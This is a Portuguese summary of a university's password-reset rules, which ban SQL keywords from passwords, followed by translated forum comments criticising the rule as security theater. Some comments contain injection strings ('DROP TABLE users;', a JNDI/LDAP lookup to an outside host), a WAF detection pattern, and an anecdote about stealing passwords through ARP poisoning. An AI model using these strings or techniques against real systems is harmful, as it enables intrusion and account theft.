Palavras que não podem ser usadas na senha: select, insert, update, delete, drop

• A redefinição de senha no portal de ID da University of Ljubljana exige nome de usuário e a nova senha com confirmação, em uma estrutura pensada para reduzir erros de digitação no processo de recuperação da conta
• O nome de usuário tem um formato parecido com endereço de e-mail, e o exemplo apresentado é [e-mail]
• A nova senha deve ter no mínimo 10 caracteres e não pode incluir informações pessoais fáceis de adivinhar, como nome ou sobrenome
• É preciso atender a pelo menos 3 critérios entre letra maiúscula, letra minúscula, número e símbolo -_.+@
• Palavras como select, insert, update, delete e drop também não podem ser usadas na senha, então é preciso verificar até padrões proibidos, não apenas o tamanho

---

Fluxo de entrada para redefinição de senha

• A tela é composta pelos campos Username, New password e New password confirmation
• Os três campos estão marcados como required
• O nome de usuário tem um formato parecido com endereço de e-mail
  • O exemplo de nome de usuário para John Smith é [e-mail]
• A nova senha deve ser digitada duas vezes para reduzir erros de digitação

Regras da nova senha

• A nova senha é tratada como um meio de proteger a identidade digital do usuário
• Senhas fáceis de adivinhar devem ser evitadas
  • Ex.: nome, sobrenome, nome do parceiro ou data de nascimento
• A senha deve ter no mínimo 10 caracteres
• Não pode incluir o nome ou sobrenome do usuário
• Deve atender a pelo menos 3 dos critérios abaixo
  • Letras maiúsculas do alfabeto inglês
  • Letras minúsculas do alfabeto inglês
  • Números
  • Símbolos: -_.+@

Palavras que não podem ser usadas

• A senha não pode conter as seguintes palavras
  • select
  • insert
  • update
  • delete
  • drop

[GN⁺]

Comentários do Hacker News

• Ah, essa string fui eu que coloquei. Foi um pedido da diretoria e até hoje não sei o motivo
  Este site não armazena senhas; ele é mais uma interface bonitinha em volta de um sistema externo de gerenciamento de contas
  Já ouvi rumores de que a validação do campo de login em alguns apps legados é estranha, e que alunos não conseguem fazer login com senhas contendo certas strings, mas não conheço nenhum caso real

  • Em compensação, basta todo mundo usar DROP TABLE users; como senha. Aí fica fácil descobrir rapidinho qual fornecedor está lidando com senhas de forma absurdamente insegura
    Nesse caso, significaria que nem higienizam a entrada do usuário, nem fazem hash ou ocultam a senha, o que já é nível incômodo social
  • Em um site, o campo de “criar nova senha” tinha comprimento máximo maior que o atributo maxlength do campo do formulário de login
    Levei um tempão para entender por que funcionava com o preenchimento automático do gerenciador de senhas, mas não ao digitar ou colar manualmente. Era porque o preenchimento automático ignorava o maxlength
  • Fico curioso se isso é só uma string exibida na página ou se a lógica de validação realmente bloqueia

• Disseram que não podia incluir "script", mas quando eu tinha uns 12 ou 13 anos hackeei a grande plataforma social Nettby.no
  Eles removiam todas as palavras proibidas, e script estava entre elas

  • Claro que eu só precisava executar o script duas vezes
  • Eu também hackeava o Nettby na escola. Bons tempos
    O Nettby não tinha HTTPS, então eu roubava a senha de todo mundo com ataque man-in-the-middle via envenenamento ARP e assistia ao caos enquanto postava aleatoriedades nas contas das pessoas. Eu não espionava as conversas; até meu eu de 14 anos aparentemente tinha um mínimo de ética
  • Era um problema fácil. Bastava remover os sinais de menor e maior
  • LOL. Também fiz a mesma coisa no site da Coca-Cola, e o diretor de marketing da empresa me mandou uma carta desagradável e apagou minha conta

• Sei que isso vai receber muita crítica, mas pelo menos em alguns casos acho uma ideia aceitável
  Dentro das organizações há muita gente criando código ruim e arquitetura de sistema ruim, e faltam pessoas com capacidade, autoridade e tempo para identificar isso e forçar mudanças
  Nos EUA, muitas vezes não há escolha a não ser lidar com sites absurdamente mal programados, como os de instituições médicas regionais. Nesses casos, pode ser melhor presumir que a implementação é horrível, como costuma ser, e recomendar mitigação compatível com essa realidade
  Se esses padrões de senha nominalmente proibidos são de fato aceitos, isso é algo que usuários podem testar facilmente e reportar ao órgão regulador, mas não é fácil verificar de fora se a implementação está correta
  Não é elegante e é trágico, mas talvez seja melhor aceitar a realidade de que as coisas frequentemente são feitas de forma desastrosa e com pouca supervisão, e pensar em mitigação para evitar o pior resultado

  • Discordo. No papel parece bom, mas gera falsa sensação de segurança demais
    Medidas de segurança assim muitas vezes encobrem problemas mais profundos. Em geral elas são colocadas porque a entrada do usuário não é tratada com cuidado, e a suposição de que bloquear algumas palavras-chave “neutraliza” vulnerabilidades em potencial normalmente é fácil de refutar. Basta ver os casos do eBay e do JSFuck
    Odeio esse jeito de pensar. Web application firewalls (WAF), testes de intrusão preguiçosos e checkboxes de compliance criaram uma quantidade enorme de teatro de segurança, e tenho certeza de que fizeram empresas acreditar que é “seguro” e que “fizeram a devida diligência” ao expor parcialmente à internet pública softwares escritos de forma ridiculamente desastrosa
    O resultado é eu receber pelo correio mais uma carta de desculpas dizendo que minhas informações mais sensíveis vazaram de uma empresa à qual praticamente não tive escolha senão entregar meus dados. Com certeza todos se importavam profundamente com meus dados, já que deixaram eles serem roubados por uma vulnerabilidade de uma biblioteca de serialização Java com décadas de idade
    [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
  • Se uma organização tem uma política de senha dessas, isso pode ser interpretado como sinal de que o responsável por essa política acha que não há gente suficiente com competência e autoridade para impedir vulnerabilidades de injeção SQL na própria organização
    Isso pega mal para qualquer instituição, mas é ainda pior no caso de uma universidade, que deveria ser um reduto de pessoas competentes e com autoridade
    Como conselho geral sobre senhas, seria até melhor que todo mundo colocasse essas palavras-chave na senha para revelar os bugs mais rápido. Não dá para deixar isso escondido até só um invasor acabar explorando
  • Senhas não deveriam chegar nem perto do banco de dados
    Deve-se aplicar hash com salt centenas de milhares de vezes e comparar com os valores de salt e hash armazenados em arquivo
    Se alguém não consegue nem fazer isso, não deveria estar escrevendo software para armazenar credenciais. Falo sério. Segurança de software começa ao reconhecer que os dados são tóxicos e podem levar a empresa à falência se não forem tratados com respeito
  • Isso parece uma armadilha clássica de defesa em profundidade. É quando se gasta esforço de engenharia na camada errada para um problema que poderia ser resolvido de forma muito mais eficiente em outra camada
    Se você precisa se preocupar se o sistema vai colocar senhas em texto puro numa tabela de banco de dados, então há literalmente um milhão de outras coisas que também podem dar terrivelmente errado nesse sistema. Por exemplo, o que acontece quando o DBA copia e cola SQL do Stack Overflow
    Se a organização tem engenheiros incompetentes, então não deixe que implementem um sistema próprio de autenticação; é melhor usar um framework open source amplamente adotado ou um produto comercial
  • Não entendo qual vetor de ataque isso impediria
    Se o fluxo de autenticação faz qualquer coisa além de aplicar salt e hash à senha e descartar a senha original em texto puro, então esse sistema inteiro não deveria nem ser usado

• Tudo bem. É só usar truncate no lugar

• O mais engraçado nessa situação é que eles nem verificam todas as strings proibidas
  Fonte: sou aluno dessa escola e testei por curiosidade

  • Se algo quebrar, há uma boa chance de usarem aquela isenção de responsabilidade como desculpa para jogar a culpa em você
  • Se o risco por descumprir a regra for expulsão, então deve ser fácil garantir a conformidade

• Em vez de tornar injeção de SQL totalmente impossível com procedures adequadas e outras técnicas, a ideia é apenas restringir algumas palavras-chave e torcer para que os hackers não pensem em algum truque de escape ou outro método que eles não imaginaram
  Provavelmente vai funcionar por um tempo, até alguém provar que não funciona
  Impedir que a entrada do usuário se misture com SQL não é mais ciência de foguetes. Não estamos em 2005
  Se isso realmente funcionasse, significaria, para começo de conversa, que a senha está sendo armazenada sem hash, o que já era idiota até em 2005. Se fosse a mesma abordagem para nome de usuário ou outros campos de entrada, faria um pouco mais de sentido, mas senha nunca deveria entrar no banco de dados desse jeito

  • Uma vez discutimos no trabalho uma forma de serializar dados estruturados em valores de cabeçalhos de requisição HTTP. Minha reação automática foi dizer “um subconjunto ASCII de JSON sem quebras de linha”, mas isso foi rejeitado por vários motivos. Talvez porque tivesse pontuação demais, ou porque fosse verboso demais em chinês
    Alguém sugeriu campos separados por pipe, mas isso também foi rejeitado. O motivo foi algo como “no passado, alguns proxies de clientes rejeitavam cabeçalhos contendo o caractere pipe”
    Programação voodoo nem sempre vem apenas de falta de diligência. Às vezes vem de situações em que você sabe que algo deu errado no passado, mas não tem evidência e também não tem como reagir
    Pessoalmente, eu preferiria simplesmente colocar em produção e ver se quebra, e depois resolver com o cliente se necessário. Como isso obviamente não é um método popular por bons motivos, acabamos não usando o caractere pipe
  • No começo de 2005, mais ou menos, fiz meu primeiro app com banco de dados, e não era tão difícil assim evitar misturar dados do usuário com SQL
    Acho que os scripts CGI provavelmente também rodavam em taint mode. Lembra disso?
  • “Se isso realmente funcionasse, a senha estaria sendo armazenada sem hash” não é necessariamente verdade
    O SGBD pode oferecer suporte a funções de hash, então você poderia gravar algo como UPDATE USERS SET PASSWORD = SHA2($PASSWORD). Nesse caso, continuaria vulnerável a injeção de SQL, mas não estaria armazenando a senha sem hash
    Há bons motivos para recomendar que o hash seja feito na camada da aplicação, mas se você estiver usando consultas parametrizadas corretamente, fazer isso no banco também não é algo tão horrível
  • O simples fato de este post ter ido para a primeira página já mostra que o que está sendo explicado aqui é algo óbvio para este público

• Ufa, nunca vão me pegar. Minha senha é ${jndi:ldap://hunter2.com/totallylegit}

  • Não. Isso nem é uma URL LDAP válida, nem um domínio válido
    Um domínio só pode conter caracteres ASCII a-z e dígitos 0-9, e asteriscos não são permitidos. O único símbolo permitido é o hífen, e ele não pode aparecer no começo nem no fim

• Numa leitura otimista, esse requisito pode ter vindo de um firewall de aplicação web (WAF) rígido demais

  • Ou pode ser por causa de alguma “framework” ou conjunto de ferramentas com arquitetura horrorosa
    Outros comentários veem isso como uma “prova” de que a segurança da aplicação é ruim, mas eu não acho que dê para concluir tanto assim. Ainda assim, dá para concluir que alguma parte da stack foi implementada de forma péssima
  • Então isso significaria que o WAF consegue ver senhas sem hash, o que não é nada bom
  • Fico me perguntando o que significa WAF

• Parece resquício de sistemas antigos. Já ouvi dizer que algumas universidades e bancos usam mainframes antigos para autenticação central
  Em alguns casos, ouvi que as senhas eram armazenadas em texto puro, truncadas para 8 caracteres e só permitiam letras maiúsculas
  O principal motivo para não atualizar esses sistemas, pelo menos pelo que ouvi, é custo e complexidade. Em vez de gastar $$$$ para atualizar um sistema em funcionamento, a ideia é gastar só $ para restringir senhas e adicionar uma “segurança” básica

• Alguns anos atrás, eu estava criando um app para publicar posts via API do WordPress. Os clientes tinham o WordPress instalado em vários ambientes de hospedagem diferentes, cada um com vários recursos de “segurança”
  Recebemos um bug report dizendo que, ao publicar um post no blog, a operação falhava e subia conteúdo vazio; um desses plugins de segurança escaneava textos longos de blog e, se encontrasse algo como .... select from , substituía aquele parâmetro POST por uma string vazia
  Também vi bug reports parecidos de clientes em que texto HTML dentro de um campo JSON de uma requisição enviada pelo nosso servidor vinha com JavaScript ofuscado injetado. Não dava para ter certeza se era um plugin de “segurança” ou malware

  • Certa vez, tivemos um problema em que só uma pequena parte das requisições falhava em um conjunto específico de páginas. No começo, descobrimos que todas as URLs continham select, mas em geral como parte de nomes de parâmetros como itemselect. Então fomos procurar se havia algum filtro tipo WAF em algum ponto da stack
    No fim, encontramos uma configuração antiga deixada no servidor proxy desde antes de usarmos um WAF comercial, e essa configuração estava procurando por SELECT.*UNION
    Quando olhamos de novo para as URLs, todas também tinham parâmetros como company=credit+union. Levei a mão ao rosto e removi aquele código; já havia proteção suficiente em outros lugares